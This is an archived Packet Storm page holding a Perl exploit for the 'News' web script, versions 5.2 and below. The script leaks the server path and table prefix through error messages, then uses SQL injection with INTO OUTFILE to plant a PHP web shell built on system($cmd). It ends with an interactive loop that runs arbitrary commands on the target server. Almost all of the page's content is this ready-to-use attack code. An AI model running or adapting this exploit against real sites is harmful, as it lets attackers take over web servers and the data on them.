what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

News52.txt

News52.txt
Posted Jul 2, 2006
Authored by DarkFig

News versions 5.2 and below remote SQL injection exploit that performs arbitrary command execution.

tags | exploit, remote, arbitrary, sql injection
SHA-256 | 7fa0ea9819fe5c86474b56680195b1d342dc218c728d8cd56f5654499f46ba9e

News52.txt

Change Mirror Download
#!/usr/bin/perl
#
# VulnScr: News version 5.2 and prior
# E-mail: contact@vincent-leclercq.com
# Web: www.vincent-leclercq.com
#
# Date: Thu June 29 12:01 2006
# Credits: DarkFig (gmdarkfig@gmail.com)
# Vuln: XSS, Full Path Disclosure, SQL Injection
# Advisorie: http://www.acid-root.new.fr/advisories/news52.txt (french =))
# Exploit: Create a php file (system($cmd)) in a dir ((smileys)chmoded 777 during the installation of the script)
#
#
# +-----------------------------------------+
# | News <= 5.2 SQL Injection (cmd exec) ---|
# +-----------------------------------------+
# [+]Full path: OK [/home/www/victim/news52]
# [+]Prefix: OK [news_]
# [+]File exist: OK
# [localhost]uname -a
# Linux ws6 2.6.16-SE-k8 #6 SMP PREEMPT Thu May 11 18:19:55 UTC 2006 i686 GNU/Linux
# [localhost]exit
# +-----------------------------------------+
#
use LWP::UserAgent;
use LWP::Simple;
use Getopt::Long;


#
# Argvs
#
header();
if(!$ARGV[1]){ &usageis; }
GetOptions( 'host=s' => \$host,
'path=s' => \$path,
);
if($host =~ /http:\/\/(.*)/){
$host = $1;
}


#
# Vars
#
my $helurl = 'http://'.$host.$path;
my $uagent = 'Perlnamigator';
my $timeut = '30';
my $errr00 = "[-]Can't connect to the host\n";
my $errr01 = "[-]Can't get the full path of the website\n";
my $errr02 = "[-]Can't get the table prefix\n";
my $errr03 = "[-]The php file doesn't exist\n";


#
# Client
#
my $client = LWP::UserAgent->new();
$client->agent($uagent);
$client->timeout($timeut);


#
# First step: Determine the installation path.
#
$req1 = $client->post($helurl.'index.php', Content => ['mail[]' => 'root\@localhost.com', 'submit' => 'S%27inscrire'],) or print $errr00 and the_end();
if($req1->as_string =~ /in <b>(.*?)\/configuration\/head.php<\/b>/) {
$fullpath = $1;
print "[+]Full path: OK [$fullpath]\n";
$fullpath .= "/admin/smileys/hello.php";
} else {
print $errr01;
the_end();
}


#
# Second step: Determine the table prefix.
#
$req2 = $client->get($helurl.'divers.php?action=XXX&id=%27ERROR');
if($req2->as_string =~ /SELECT id FROM (.*?) WHERE/) {
$prefixe = $1;
print "[+]Prefix: OK [$prefixe]\n";
} else {
print $errr02;
the_end();
}


#
# Third step: Create a php file (system($cmd))
#
$inject = "%27%20UNION%20SELECT%20%27%3C?%20system(\$cmd);%20?%3E%27%20FROM%20".$prefixe."%20INTO%20OUTFILE%20%27".$fullpath."%27%23";
$req3 = $client->get($helurl.'divers.php?action=XXX&id='.$inject) or print $errr00 and the_end();


#
# Fourth step: file_exists()? yes ! enjoy =)
#
$req4 = get($helurl.'admin/smileys/hello.php') or print $errr03 and the_end();
print "[+]File exist: OK\n";
&commandexec;


#
# Subroutines
#
sub commandexec {
while(1 ne 2) {
print "[$host]"; chomp($cmd = <STDIN>);
if($cmd eq "exit"){ &the_end; }
$req5 = get($helurl.'admin/smileys/hello.php?cmd='.$cmd) or print $errr00 and the_end();
print $req5, "\n";
}}

sub usageis {
print "| Usage: -host localhost -path /news/ ---| \n";
&the_end;
}

sub the_end {
print "+-----------------------------------------+\n";
exit;
}

sub header {
print "\n+-----------------------------------------+\n";
print "| News <= 5.2 SQL Injection (cmd exec) ---|\n";
print "+-----------------------------------------+\n";
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close